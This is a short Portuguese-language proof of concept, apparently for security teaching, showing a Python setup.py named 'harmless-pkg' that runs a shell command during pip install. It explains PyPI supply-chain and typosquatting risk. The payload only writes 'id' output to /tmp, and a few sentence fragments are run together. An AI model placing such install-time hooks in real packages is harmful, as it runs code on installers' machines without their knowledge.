
Demonstra como um pacote Python malicioso executa comandos arbitrários durante o pip install via setup.py, destacando os riscos de cadeia de suprimentos do PyPI e de typosquatting.
# setup.py - Malicious package that executes during install
from setuptools import setup
import os
# This runs on pip install
os.system('id > /tmp/pwned_by_package')
setup(
name='harmless-pkg',
version='1.0',
packages=[],
)
Um pacote PyPI pode incluir código arbitrário no seu setup.py, que é executado durante o pip install. Um atacante pode publicar um pacote com um nome semelhante a um pacote popular (typosquatting) e, no momento da instalação, o payload é executado com os privilégios do usuário, levando à execução remota de código.
setup.py sem sandboxing, dando aos pacotes acesso total.setup.py fornecido.pip install ./harmless-pkg
cat /tmp/pwned_by_package